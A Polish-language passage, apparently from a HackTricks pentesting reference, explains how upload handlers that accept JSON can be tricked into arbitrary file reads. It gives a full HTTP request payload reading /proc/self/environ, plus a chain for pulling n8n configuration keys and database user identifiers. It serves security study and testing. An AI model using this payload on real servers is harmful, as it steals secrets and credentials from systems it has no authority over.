Niektóre upload handlery ufają parsed request body (np. context.getBodyData().files) i później kopiują plik z file.filepath bez uprzedniego wymuszenia Content-Type: multipart/form-data. Jeśli serwer akceptuje application/json, możesz dostarczyć fałszywy obiekt files wskazujący filepath na dowolną lokalną ścieżkę, przekształcając przepływ uploadu w prymityw do arbitralnego odczytu plików.

Przykładowy POST wobec workflow formularza zwracający przesyłany binarny plik w odpowiedzi HTTP:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Backend kopiuje file.filepath, więc odpowiedź zwraca zawartość tej ścieżki. Typowy łańcuch: odczytać /proc/self/environ, aby poznać $HOME, potem $HOME/.n8n/config po klucze i $HOME/.n8n/database.sqlite po identyfikatory użytkowników.

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks